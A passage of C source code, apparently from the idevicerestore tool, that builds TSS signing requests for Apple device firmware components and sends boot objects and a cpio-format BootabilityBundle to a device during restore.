restore_get_generic_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments) { plist_t request = NULL; plist_t response = NULL; plist_t p_updater_name = plist_dict_get_item(arguments, "MessageArgUpdaterName"); const char* s_updater_name = plist_get_string_ptr(p_updater_name, NULL); plist_t response_tags = plist_access_path(arguments, 2, "DeviceGeneratedTags", "ResponseTags"); const char* response_ticket = NULL; if (PLIST_IS_ARRAY(response_tags)) { plist_t tag0 = plist_array_get_item(response_tags, 0); if (tag0) { response_ticket = plist_get_string_ptr(tag0, NULL); } } if (response_ticket == NULL) { error("ERROR: Unable to determine response ticket from device generated tags"); return NULL; } /* create TSS request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create %s TSS request\n", s_updater_name); return NULL; } /* add device generated request data to request */ plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest"); if (!device_generated_request) { error("ERROR: Could not find DeviceGeneratedRequest in arguments dictionary\n"); plist_free(request); return NULL; } plist_dict_merge(&request, device_generated_request); info("Sending %s TSS request...\n", s_updater_name); response = tss_request_send(request, client->tss_url); plist_free(request); if (response == NULL) { error("ERROR: Unable to fetch %s ticket\n", s_updater_name); return NULL; } if (plist_dict_get_item(response, response_ticket)) { info("Received %s\n", response_ticket); } else { error("ERROR: No '%s' in TSS response, this might not work\n", response_ticket); debug_plist(response); } return response; } static plist_t restore_get_tcon_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments) { char *comp_name = "Baobab,TCON"; char *comp_path = NULL; unsigned char* component_data = NULL; unsigned int component_size = 0; plist_t parameters = NULL; plist_t request = NULL; plist_t response = NULL; int ret; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return NULL; } plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest"); if (device_generated_request && !PLIST_IS_DICT(device_generated_request)) { error("ERROR: %s: DeviceGeneratedRequest has invalid type!\n", __func__); return NULL; } /* create Baobab request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create Baobab TSS request\n"); free(component_data); return NULL; } parameters = plist_new_dict(); /* add manifest for current build_identity to parameters */ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true); /* add Baobab,* tags from info dictionary to parameters */ plist_dict_merge(¶meters, p_info); /* add required tags for Baobab TSS request */ tss_request_add_tcon_tags(request, parameters, device_generated_request); plist_free(parameters); info("Sending Baobab TSS request...\n"); response = tss_request_send(request, client->tss_url); plist_free(request); if (response == NULL) { error("ERROR: Unable to fetch Baobab ticket\n"); free(component_data); return NULL; } if (plist_dict_get_item(response, "Baobab,Ticket")) { info("Received Baobab ticket\n"); } else { error("ERROR: No 'Baobab,Ticket' in TSS response, this might not work\n"); } if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) { error("ERROR: Unable to get path for '%s' component\n", comp_name); return NULL; } /* now get actual component data */ ret = extract_component(client->ipsw, comp_path, &component_data, &component_size); free(comp_path); comp_path = NULL; if (ret < 0) { error("ERROR: Unable to extract '%s' component\n", comp_name); return NULL; } plist_dict_set_item(response, "FirmwareData", plist_new_data((char*)component_data, component_size)); free(component_data); component_data = NULL; component_size = 0; return response; } static plist_t restore_get_timer_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments) { char comp_name[64]; char *comp_path = NULL; unsigned char* component_data = NULL; unsigned int component_size = 0; ftab_t ftab = NULL; ftab_t rftab = NULL; uint32_t ftag = 0; plist_t parameters = NULL; plist_t request = NULL; plist_t response = NULL; const char* ticket_name = NULL; uint32_t tag = 0; int ret; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return NULL; } plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest"); if (device_generated_request && !PLIST_IS_DICT(device_generated_request)) { error("ERROR: %s: DeviceGeneratedRequest has invalid type!\n", __func__); return NULL; } /* create Timer request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create Timer TSS request\n"); return NULL; } parameters = plist_new_dict(); /* add manifest for current build_identity to parameters */ tss_parameters_add_from_manifest(parameters, client->restore->build_identity, true); plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1)); if (client->image4supported) { plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1)); plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(1)); } else { plist_dict_set_item(parameters, "ApSupportsImg4", plist_new_bool(0)); } /* add Timer,* tags from info dictionary to parameters */ plist_t info_array = plist_dict_get_item(p_info, "InfoArray"); if (!info_array) { error("ERROR: Could not find InfoArray in info dictionary\n"); plist_free(parameters); return NULL; } else { plist_t info_dict = plist_array_get_item(info_array, 0); plist_t hwid = plist_dict_get_item(info_dict, "HardwareID"); tag = (uint32_t)plist_dict_get_uint(info_dict, "TagNumber"); char key[64]; plist_dict_set_item(parameters, "TagNumber", plist_new_uint(tag)); plist_t node = plist_dict_get_item(info_dict, "TicketName"); if (node) { ticket_name = plist_get_string_ptr(node, NULL); plist_dict_set_item(parameters, "TicketName", plist_copy(node)); } sprintf(key, "Timer,ChipID,%u", tag); plist_dict_copy_uint(parameters, hwid, key, "ChipID"); sprintf(key, "Timer,BoardID,%u", tag); plist_dict_copy_uint(parameters, hwid, key, "BoardID"); sprintf(key, "Timer,ECID,%u", tag); plist_dict_copy_uint(parameters, hwid, key, "ECID"); sprintf(key, "Timer,Nonce,%u", tag); plist_dict_copy_data(parameters, hwid, key, "Nonce"); sprintf(key, "Timer,SecurityMode,%u", tag); plist_dict_copy_bool(parameters, hwid, key, "SecurityMode"); sprintf(key, "Timer,SecurityDomain,%u", tag); plist_dict_copy_uint(parameters, hwid, key, "SecurityDomain"); sprintf(key, "Timer,ProductionMode,%u", tag); plist_dict_copy_uint(parameters, hwid, key, "ProductionStatus"); } plist_t ap_info = plist_dict_get_item(p_info, "APInfo"); if (!ap_info) { error("ERROR: Could not find APInfo in info dictionary\n"); plist_free(parameters); return NULL; } else { plist_dict_merge(¶meters, ap_info); } /* add required tags for Timer TSS request */ tss_request_add_timer_tags(request, parameters, device_generated_request); plist_free(parameters); info("Sending %s TSS request...\n", ticket_name); response = tss_request_send(request, client->tss_url); plist_free(request); if (response == NULL) { error("ERROR: Unable to fetch %s\n", ticket_name); return NULL; } if (plist_dict_get_item(response, ticket_name)) { info("Received %s\n", ticket_name); } else { error("ERROR: No '%s' in TSS response, this might not work\n", ticket_name); } sprintf(comp_name, "Timer,RTKitOS,%u", tag); if (build_identity_has_component(client->restore->build_identity, comp_name)) { if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) { error("ERROR: Unable to get path for '%s' component\n", comp_name); return NULL; } ret = extract_component(client->ipsw, comp_path, &component_data, &component_size); free(comp_path); comp_path = NULL; if (ret < 0) { error("ERROR: Unable to extract '%s' component\n", comp_name); return NULL; } if (ftab_parse(component_data, component_size, &ftab, &ftag) != 0) { free(component_data); error("ERROR: Failed to parse '%s' component data.\n", comp_name); return NULL; } free(component_data); component_data = NULL; component_size = 0; if (ftag != 'rkos') { error("WARNING: Unexpected tag 0x%08x, expected 0x%08x; continuing anyway.\n", ftag, 'rkos'); } } else { info("NOTE: Build identity does not have a '%s' component.\n", comp_name); } sprintf(comp_name, "Timer,RestoreRTKitOS,%u", tag); if (build_identity_has_component(client->restore->build_identity, comp_name)) { if (build_identity_get_component_path(client->restore->build_identity, comp_name, &comp_path) < 0) { ftab_free(ftab); error("ERROR: Unable to get path for '%s' component\n", comp_name); return NULL; } ret = extract_component(client->ipsw, comp_path, &component_data, &component_size); free(comp_path); comp_path = NULL; if (ret < 0) { ftab_free(ftab); error("ERROR: Unable to extract '%s' component\n", comp_name); return NULL; } ftag = 0; if (ftab_parse(component_data, component_size, &rftab, &ftag) != 0) { free(component_data); ftab_free(ftab); error("ERROR: Failed to parse '%s' component data.\n", comp_name); return NULL; } free(component_data); component_data = NULL; component_size = 0; if (ftag != 'rkos') { error("WARNING: Unexpected tag 0x%08x, expected 0x%08x; continuing anyway.\n", ftag, 'rkos'); } if (ftab_get_entry_ptr(rftab, 'rrko', &component_data, &component_size) == 0) { ftab_add_entry(ftab, 'rrko', component_data, component_size); } else { error("ERROR: Could not find 'rrko' entry in ftab. This will probably break things.\n"); } ftab_free(rftab); component_data = NULL; component_size = 0; } else { info("NOTE: Build identity does not have a '%s' component.\n", comp_name); } ftab_write(ftab, &component_data, &component_size); ftab_free(ftab); plist_dict_set_item(response, "FirmwareData", plist_new_data((char*)component_data, component_size)); free(component_data); component_data = NULL; component_size = 0; return response; } static plist_t restore_get_cryptex1_firmware_data(struct idevicerestore_client_t* client, plist_t p_info, plist_t arguments) { plist_t parameters = NULL; plist_t request = NULL; plist_t response = NULL; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return NULL; } plist_t p_updater_name = plist_dict_get_item(arguments, "MessageArgUpdaterName"); const char* s_updater_name = plist_get_string_ptr(p_updater_name, NULL); plist_t response_tags = plist_access_path(arguments, 2, "DeviceGeneratedTags", "ResponseTags"); const char* response_ticket = "Cryptex1,Ticket"; if (PLIST_IS_ARRAY(response_tags)) { plist_t tag0 = plist_array_get_item(response_tags, 0); if (tag0) { response_ticket = plist_get_string_ptr(tag0, NULL); } } /* create Cryptex1 request */ request = tss_request_new(NULL); if (request == NULL) { error("ERROR: Unable to create %s TSS request\n", s_updater_name); return NULL; } parameters = plist_new_dict(); /* merge data from MessageArgInfo */ plist_dict_merge(¶meters, p_info); /* add tags from manifest to parameters */ plist_t build_identity_tags = plist_access_path(arguments, 2, "DeviceGeneratedTags", "BuildIdentityTags"); if (PLIST_IS_ARRAY(build_identity_tags)) { uint32_t i = 0; for (i = 0; i < plist_array_get_size(build_identity_tags); i++) { plist_t node = plist_array_get_item(build_identity_tags, i); const char* key = plist_get_string_ptr(node, NULL); plist_t item = plist_dict_get_item(client->restore->build_identity, key); if (item) { plist_dict_set_item(parameters, key, plist_copy(item)); } } } /* make sure we always have these required tags defined */ if (!plist_dict_get_item(parameters, "ApProductionMode")) { plist_dict_set_item(parameters, "ApProductionMode", plist_new_bool(1)); } if (!plist_dict_get_item(parameters, "ApSecurityMode")) { plist_dict_set_item(parameters, "ApSecurityMode", plist_new_bool(1)); } if (!plist_dict_get_item(parameters, "ApChipID")) { plist_dict_copy_uint(parameters, client->restore->build_identity, "ApChipID", NULL); } if (!plist_dict_get_item(parameters, "ApBoardID")) { plist_dict_copy_uint(parameters, client->restore->build_identity, "ApBoardID", NULL); } /* add device generated request data to parameters */ plist_t device_generated_request = plist_dict_get_item(arguments, "DeviceGeneratedRequest"); if (!device_generated_request) { error("ERROR: Could not find DeviceGeneratedRequest in arguments dictionary\n"); plist_free(parameters); return NULL; } plist_dict_merge(¶meters, device_generated_request); /* add Cryptex1 tags to request */ tss_request_add_cryptex_tags(request, parameters, NULL); plist_free(parameters); info("Sending %s TSS request...\n", s_updater_name); response = tss_request_send(request, client->tss_url); plist_free(request); if (response == NULL) { error("ERROR: Unable to fetch %s ticket\n", s_updater_name); return NULL; } if (plist_dict_get_item(response, response_ticket)) { info("Received %s\n", response_ticket); } else { error("ERROR: No '%s' in TSS response, this might not work\n", response_ticket); debug_plist(response); } return response; } static int restore_send_firmware_updater_preflight(struct idevicerestore_client_t* client, plist_t message) { plist_t dict = NULL; int restore_error; if (idevicerestore_debug) { debug("DEBUG: %s: Got FirmwareUpdaterPreflight request:\n", __func__); debug_plist(message); } restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } dict = plist_new_dict(); info("Sending FirmwareResponsePreflight now...\n"); restore_error = _restore_service_send(service, dict, 0); plist_free(dict); _restore_service_free(service); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Couldn't send FirmwareResponsePreflight data (%d)\n", restore_error); return -1; } info("Done sending FirmwareUpdaterPreflight response\n"); return 0; } static int restore_send_firmware_updater_data(struct idevicerestore_client_t* client, plist_t message) { plist_t arguments; plist_t p_type, p_updater_name, p_loop_count, p_info; plist_t loop_count_dict = NULL; char *s_type = NULL; plist_t dict = NULL; plist_t fwdict = NULL; char *s_updater_name = NULL; int restore_error; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return -1; } if (idevicerestore_debug) { debug("DEBUG: %s: Got FirmwareUpdaterData request:\n", __func__); debug_plist(message); } arguments = plist_dict_get_item(message, "Arguments"); if (!arguments || plist_get_node_type(arguments) != PLIST_DICT) { error("ERROR: %s: Arguments missing or has invalid type!\n", __func__); goto error_out; } p_type = plist_dict_get_item(arguments, "MessageArgType"); if (!p_type || (plist_get_node_type(p_type) != PLIST_STRING)) { error("ERROR: %s: MessageArgType missing or has invalid type!\n", __func__); goto error_out; } p_updater_name = plist_dict_get_item(arguments, "MessageArgUpdaterName"); if (!p_updater_name || (plist_get_node_type(p_updater_name) != PLIST_STRING)) { error("ERROR: %s: MessageArgUpdaterName missing or has invalid type!\n", __func__); goto error_out; } p_loop_count = plist_dict_get_item(arguments, "MessageArgUpdaterLoopCount"); if (p_loop_count) { loop_count_dict = plist_new_dict(); plist_dict_set_item(loop_count_dict, "LoopCount", plist_copy(p_loop_count)); } plist_get_string_val(p_type, &s_type); if (!s_type || strcmp(s_type, "FirmwareResponseData")) { error("ERROR: %s: MessageArgType has unexpected value '%s'\n", __func__, s_type); goto error_out; } free(s_type); s_type = NULL; p_info = plist_dict_get_item(arguments, "MessageArgInfo"); if (!p_info || (plist_get_node_type(p_info) != PLIST_DICT)) { error("ERROR: %s: MessageArgInfo missing or has invalid type!\n", __func__); goto error_out; } plist_get_string_val(p_updater_name, &s_updater_name); if (strcmp(s_updater_name, "SE") == 0) { fwdict = restore_get_se_firmware_data(client, p_info, arguments); if (fwdict == NULL) { error("ERROR: %s: Couldn't get SE firmware data\n", __func__); goto error_out; } } else if (strcmp(s_updater_name, "Savage") == 0) { const char *fwtype = "Savage"; plist_t p_info2 = plist_dict_get_item(p_info, "YonkersDeviceInfo"); if (p_info2 && plist_get_node_type(p_info2) == PLIST_DICT) { fwtype = "Yonkers"; fwdict = restore_get_yonkers_firmware_data(client, p_info2, arguments); } else { fwdict = restore_get_savage_firmware_data(client, p_info, arguments); } if (fwdict == NULL) { error("ERROR: %s: Couldn't get %s firmware data\n", __func__, fwtype); goto error_out; } } else if (strcmp(s_updater_name, "Rose") == 0) { fwdict = restore_get_rose_firmware_data(client, p_info, arguments); if (fwdict == NULL) { error("ERROR: %s: Couldn't get Rose firmware data\n", __func__); goto error_out; } } else if (strcmp(s_updater_name, "T200") == 0) { fwdict = restore_get_veridian_firmware_data(client, p_info, arguments); if (fwdict == NULL) { error("ERROR: %s: Couldn't get Veridian firmware data\n", __func__); goto error_out; } } else if (strcmp(s_updater_name, "AppleTCON") == 0) { fwdict = restore_get_tcon_firmware_data(client, p_info, arguments); if (fwdict == NULL) { error("ERROR: %s: Couldn't get AppleTCON firmware data\n", __func__); goto error_out; } } else if (strcmp(s_updater_name, "PS190") == 0) { fwdict = restore_get_generic_firmware_data(client, p_info, arguments); if (fwdict == NULL) { error("ERROR: %s: Couldn't get PCON1 firmware data\n", __func__); goto error_out; } } else if (strcmp(s_updater_name, "AppleTypeCRetimer") == 0) { fwdict = restore_get_timer_firmware_data(client, p_info, arguments); if (fwdict == NULL) { error("ERROR: %s: Couldn't get AppleTypeCRetimer firmware data\n", __func__); goto error_out; } } else if ((strcmp(s_updater_name, "Cryptex1") == 0) || (strcmp(s_updater_name, "Cryptex1LocalPolicy") == 0)) { fwdict = restore_get_cryptex1_firmware_data(client, p_info, arguments); if (fwdict == NULL) { error("ERROR: %s: Couldn't get %s firmware data\n", __func__, s_updater_name); goto error_out; } } else if (strcmp(s_updater_name, "Ace3") == 0) { fwdict = restore_get_generic_firmware_data(client, p_info, arguments); if (fwdict == NULL) { error("ERROR: %s: Couldn't get %s firmware data\n", __func__, s_updater_name); goto error_out; } } else { error("ERROR: %s: Got unknown updater name '%s', trying to discover from device generated request.\n", __func__, s_updater_name); fwdict = restore_get_generic_firmware_data(client, p_info, arguments); if (fwdict == NULL) { error("ERROR: %s: Couldn't get %s firmware data\n", __func__, s_updater_name); goto error_out; } } free(s_updater_name); s_updater_name = NULL; restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } dict = plist_new_dict(); plist_dict_set_item(dict, "FirmwareResponseData", fwdict); info("Sending FirmwareResponse data now...\n"); restore_error = _restore_service_send(service, dict, 0); plist_free(dict); _restore_service_free(service); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Couldn't send FirmwareResponse data (%d)\n", restore_error); goto error_out; } info("Done sending FirmwareUpdater data\n"); return 0; error_out: free(s_type); free(s_updater_name); plist_free(loop_count_dict); return -1; } static int restore_send_receipt_manifest(struct idevicerestore_client_t* client, plist_t message) { plist_t dict; int restore_error; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return -1; } plist_t manifest = plist_dict_get_item(client->restore->build_identity, "Manifest"); if (!manifest) { error("failed to get Manifest node from build_identity"); goto error_out; } restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } dict = plist_new_dict(); plist_dict_set_item(dict, "ReceiptManifest", plist_copy(manifest)); info("Sending ReceiptManifest data now...\n"); restore_error = _restore_service_send(service, dict, 0); plist_free(dict); _restore_service_free(service); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Couldn't send ReceiptManifest data (%d)\n", restore_error); goto error_out; } info("Done sending ReceiptManifest data\n"); return 0; error_out: return -1; } struct cpio_odc_header { char c_magic[6]; char c_dev[6]; char c_ino[6]; char c_mode[6]; char c_uid[6]; char c_gid[6]; char c_nlink[6]; char c_rdev[6]; char c_mtime[11]; char c_namesize[6]; char c_filesize[11]; }; static void octal(char *p, int width, int v) { char buf[32]; snprintf(buf, 32, "%0*o", width, v); memcpy(p, buf, width); } static int cpio_send_file(idevice_connection_t connection, const char *name, struct stat *st, void *data) { struct cpio_odc_header hdr; memset(&hdr, '0', sizeof(hdr)); memcpy(hdr.c_magic, "070707", 6); octal(hdr.c_dev, 6, st->st_dev); octal(hdr.c_ino, 6, st->st_ino); octal(hdr.c_mode, 6, st->st_mode); octal(hdr.c_uid, 6, st->st_uid); octal(hdr.c_gid, 6, st->st_gid); octal(hdr.c_nlink, 6, st->st_nlink); octal(hdr.c_rdev, 6, st->st_rdev); octal(hdr.c_mtime, 11, st->st_mtime); octal(hdr.c_namesize, 6, strlen(name) + 1); if (data) octal(hdr.c_filesize, 11, st->st_size); uint32_t bytes = 0; int name_len = strlen(name) + 1; idevice_error_t device_error; device_error = idevice_connection_send(connection, (void *)&hdr, sizeof(hdr), &bytes); if (device_error != IDEVICE_E_SUCCESS || bytes != sizeof(hdr)) { error("ERROR: BootabilityBundle unable to send header. (%d) Sent %u of %lu bytes.\n", device_error, bytes, (long)sizeof(hdr)); return -1; } device_error = idevice_connection_send(connection, (void *)name, name_len, &bytes); if (device_error != IDEVICE_E_SUCCESS || bytes != name_len) { error("ERROR: BootabilityBundle unable to send filename. (%d) Sent %u of %u bytes.\n", device_error, bytes, name_len); return -1; } if (st->st_size && data) { device_error = idevice_connection_send(connection, data, st->st_size, &bytes); if (device_error != IDEVICE_E_SUCCESS || bytes != st->st_size) { error("ERROR: BootabilityBundle unable to send data. (%d) Sent %u of %lu bytes.\n", device_error, bytes, (long)st->st_size); return -1; } } return 0; } static int restore_bootability_send_one(void *ctx, ipsw_archive_t ipsw, const char *name, struct stat *stat) { idevice_connection_t connection = (idevice_connection_t)ctx; const char *prefix = "BootabilityBundle/Restore/Bootability/"; const char *subpath; if (!strcmp(name, "BootabilityBundle/Restore/Firmware/Bootability.dmg.trustcache")) { subpath = "Bootability.trustcache"; } else if (strncmp(name, prefix, strlen(prefix))) { return 0; } else { subpath = name + strlen(prefix); } debug("DEBUG: BootabilityBundle send m=%07o s=%10ld %s\n", stat->st_mode, (long)stat->st_size, subpath); unsigned char *buf = NULL; unsigned int size = 0; if ((S_ISLNK(stat->st_mode) || S_ISREG(stat->st_mode)) && stat->st_size != 0) { ipsw_extract_to_memory(ipsw, name, &buf, &size); if (size != stat->st_size) { error("ERROR: expected %ld bytes but got %d for file %s\n", (long)stat->st_size, size, name); free(buf); return -1; } } stat->st_uid = stat->st_gid = 0; int ret = cpio_send_file(connection, subpath, stat, buf); free(buf); return ret; } static int restore_send_bootability_bundle_data(struct idevicerestore_client_t* client, plist_t message) { if (idevicerestore_debug) { debug("DEBUG: %s: Got BootabilityBundle request:\n", __func__); debug_plist(message); } plist_t node = plist_dict_get_item(message, "DataPort"); uint64_t u64val = 0; plist_get_uint_val(node, &u64val); uint16_t data_port = (uint16_t)u64val; int attempts = 10; idevice_connection_t connection = NULL; idevice_error_t device_error = IDEVICE_E_SUCCESS; if (!client || !client->restore || !client->restore->build_identity || !client->restore->device) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return -1; } debug("Connecting to BootabilityBundle data port\n"); while (--attempts > 0) { device_error = idevice_connect(client->restore->device, data_port, &connection); if (device_error == IDEVICE_E_SUCCESS) { break; } sleep(1); debug("Retrying connection...\n"); } if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: Unable to connect to BootabilityBundle data port\n"); return -1; } int ret = ipsw_list_contents(client->ipsw, restore_bootability_send_one, connection); if (ret < 0) { error("ERROR: Failed to send BootabilityBundle\n"); return ret; } struct stat st = {.st_nlink = 1}; cpio_send_file(connection, "TRAILER!!!", &st, NULL); idevice_disconnect(connection); return 0; } plist_t restore_get_build_identity(struct idevicerestore_client_t* client, uint8_t is_recovery_os) { const char *variant; if (is_recovery_os) variant = RESTORE_VARIANT_MACOS_RECOVERY_OS; else if (client->flags & FLAG_ERASE) variant = RESTORE_VARIANT_ERASE_INSTALL; else variant = RESTORE_VARIANT_UPGRADE_INSTALL; plist_t build_identity = build_manifest_get_build_identity_for_model_with_variant( client->build_manifest, client->device->hardware_model, variant, 0); plist_t unique_id_node = plist_dict_get_item(client->build_manifest, "UniqueBuildID"); if (unique_id_node) { info("UniqueBuildID: "); plist_write_to_stream(unique_id_node, stdout, PLIST_FORMAT_PRINT, PLIST_OPT_NONE); } return build_identity; } plist_t restore_get_build_identity_from_request(struct idevicerestore_client_t* client, plist_t message) { plist_t args = plist_dict_get_item(message, "Arguments"); return restore_get_build_identity(client, plist_dict_get_bool(args, "IsRecoveryOS")); } int extract_macos_variant(plist_t build_identity, char** output) { plist_t build_info = plist_dict_get_item(build_identity, "Info"); if (!build_info) { error("ERROR: build identity does not contain an 'Info' element\n"); return -1; } plist_t macos_variant_node = plist_dict_get_item(build_info, "MacOSVariant"); if (!macos_variant_node) { error("ERROR: build identity info does not contain a MacOSVariant\n"); return -1; } plist_get_string_val(macos_variant_node, output); return 0; } static char* extract_global_manifest_path(plist_t build_identity, char *variant) { plist_t build_info = plist_dict_get_item(build_identity, "Info"); if (!build_info) { error("ERROR: build identity does not contain an 'Info' element\n"); return NULL; } plist_t device_class_node = plist_dict_get_item(build_info, "DeviceClass"); if (!device_class_node) { error("ERROR: build identity info does not contain a DeviceClass\n"); return NULL; } char *device_class = NULL; plist_get_string_val(device_class_node, &device_class); char *macos_variant = NULL; int ret; if (variant) { macos_variant = variant; } else { ret = extract_macos_variant(build_identity, &macos_variant); if (ret != 0) { free(device_class); return NULL; } } // The path of the global manifest is hardcoded. There's no pointer to in the build manifest. char *ticket_path = malloc((42+strlen(macos_variant)+strlen(device_class)+1)*sizeof(char)); sprintf(ticket_path, "Firmware/Manifests/restore/%s/apticket.%s.im4m", macos_variant, device_class); free(device_class); free(macos_variant); return ticket_path; } int extract_global_manifest(struct idevicerestore_client_t* client, plist_t build_identity, char *variant, unsigned char** pbuffer, unsigned int* psize) { char* ticket_path = extract_global_manifest_path(build_identity, variant); if (!ticket_path) { error("ERROR: failed to get global manifest path\n"); return -1; } int ret = ipsw_extract_to_memory(client->ipsw, ticket_path, pbuffer, psize); if (ret != 0) { free(ticket_path); error("ERROR: failed to read global manifest\n"); return -1; } free(ticket_path); return 0; } struct _restore_send_file_data_ctx { struct idevicerestore_client_t* client; restore_service_client_t service; int last_progress; }; static int _restore_send_file_data(struct _restore_send_file_data_ctx* rctx, void* data, size_t size, size_t done, size_t total_size) { plist_t dict = plist_new_dict(); if (data != NULL) { // Send a chunk of file data plist_dict_set_item(dict, "FileData", plist_new_data((char*)data, size)); } else { // Send FileDataDone to mark end of transfer plist_dict_set_item(dict, "FileDataDone", plist_new_bool(1)); } restored_error_t restore_error = _restore_service_send(rctx->service, dict, 0); if (restore_error != RESTORE_E_SUCCESS) { plist_free(dict); error("ERROR: %s: Failed to send data (%d)\n", __func__, restore_error); return -1; } plist_free(dict); /* special handling for AEA image format */ if (done == 0 && (memcmp(data, "AEA1", 4) == 0)) { info("Encountered First Chunk in AEA image\n"); plist_t message = NULL; _restore_service_recv(rctx->service, &message); restore_send_url_asset(rctx->client, message); } if (total_size > 0x1000000) { double progress = (double)done / (double)total_size; int progress_int = (int)(progress*100.0); if (progress_int > rctx->last_progress) { idevicerestore_progress(rctx->client, RESTORE_STEP_UPLOAD_IMG, progress); rctx->last_progress = progress_int; } } return 0; } int restore_send_personalized_boot_object_v3(struct idevicerestore_client_t* client, plist_t message) { if (idevicerestore_debug) { debug("DEBUG: %s: Got PersonalizedBootObjectV3 request:\n", __func__); debug_plist(message); } char *image_name = NULL; plist_t node = plist_access_path(message, 2, "Arguments", "ImageName"); if (!node || plist_get_node_type(node) != PLIST_STRING) { debug("Failed to parse arguments from PersonalizedBootObjectV3 plist\n"); return -1; } plist_get_string_val(node, &image_name); if (!image_name) { debug("Failed to parse arguments from PersonalizedBootObjectV3 as string\n"); return -1; } char *component = image_name; unsigned int size = 0; unsigned char *data = NULL; char *path = NULL; plist_t blob = NULL; plist_t dict = NULL; restored_error_t restore_error = RESTORE_E_SUCCESS; info("About to send %s...\n", component); if (strcmp(image_name, "__GlobalManifest__") == 0) { int ret = extract_global_manifest(client, client->restore->build_identity, NULL, &data, &size); if (ret != 0) { return -1; } } else if (strcmp(image_name, "__RestoreVersion__") == 0) { int ret = ipsw_extract_to_memory(client->ipsw, "RestoreVersion.plist", &data, &size); if (ret != 0) { error("ERROR: failed to read global manifest\n"); return -1; } } else if (strcmp(image_name, "__SystemVersion__") == 0) { int ret = ipsw_extract_to_memory(client->ipsw, "SystemVersion.plist", &data, &size); if (ret != 0) { error("ERROR: failed to read global manifest\n"); return -1; } } else { // Get component path if (client->tss) { if (tss_response_get_path_by_entry(client->tss, component, &path) < 0) { debug("NOTE: No path for component %s in TSS, will fetch from build identity\n", component); } } if (!path) { plist_t build_identity = restore_get_build_identity_from_request(client, message); if (!build_identity) { error("ERROR: Unable to find a matching build identity\n"); return -1; } if (build_identity_get_component_path(build_identity, component, &path) < 0) { error("ERROR: Unable to find %s path from build identity\n", component); return -1; } } // Extract component unsigned char *component_data = NULL; unsigned int component_size = 0; int ret = extract_component(client->ipsw, path, &component_data, &component_size); free(path); path = NULL; if (ret < 0) { error("ERROR: Unable to extract component %s\n", component); return -1; } // Personalize IMG4 ret = personalize_component(component, component_data, component_size, client->tss, &data, &size); free(component_data); component_data = NULL; if (ret < 0) { error("ERROR: Unable to get personalized component %s\n", component); return -1; } } restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } info("Sending %s now (%" PRIu64 " bytes)...\n", component, (uint64_t)size); struct _restore_send_file_data_ctx rctx; rctx.client = client; rctx.service = service; rctx.last_progress = 0; int64_t i = size; while (i > 0) { int blob_size = i > 8192 ? 8192 : i; if (_restore_send_file_data(&rctx, (data + size - i), blob_size, size-i, size) < 0) { free(data); _restore_service_free(service); error("ERROR: Unable to send component %s data\n", component); return -1; } i -= blob_size; } free(data); _restore_send_file_data(&rctx, NULL, 0, size-i, size); _restore_service_free(service); info("Done sending %s\n", component); return 0; } int restore_send_source_boot_object_v4(struct idevicerestore_client_t* client, plist_t message) { if (idevicerestore_debug) { debug("DEBUG: %s: Got SourceBootObjectV4 request:\n", __func__); debug_plist(message); } char *image_name = NULL; plist_t node = plist_access_path(message, 2, "Arguments", "ImageName"); if (!node || plist_get_node_type(node) != PLIST_STRING) { debug("Failed to parse arguments from SourceBootObjectV4 plist\n"); return -1; } plist_get_string_val(node, &image_name); if (!image_name) { debug("Failed to parse arguments from SourceBootObjectV4 as string\n"); return -1; } char *component = image_name; // Fork from restore_send_component // unsigned int size = 0; unsigned char *data = NULL; char *path = NULL; plist_t blob = NULL; plist_t dict = NULL; restored_error_t restore_error = RESTORE_E_SUCCESS; info("About to send %s...\n", component); if (strcmp(image_name, "__GlobalManifest__") == 0) { char *variant = NULL; plist_t node = plist_access_path(message, 2, "Arguments", "Variant"); if (!node || plist_get_node_type(node) != PLIST_STRING) { debug("Failed to parse arguments from SourceBootObjectV4 plist\n"); return -1; } plist_get_string_val(node, &variant); if (!variant) { debug("Failed to parse arguments from SourceBootObjectV4 as string\n"); return -1; } path = extract_global_manifest_path(client->restore->build_identity, variant); } else if (strcmp(image_name, "__RestoreVersion__") == 0) { path = strdup("RestoreVersion.plist"); } else if (strcmp(image_name, "__SystemVersion__") == 0) { path = strdup("SystemVersion.plist"); } else { // Get component path if (client->tss) { if (tss_response_get_path_by_entry(client->tss, component, &path) < 0) { debug("NOTE: No path for component %s in TSS, will fetch from build 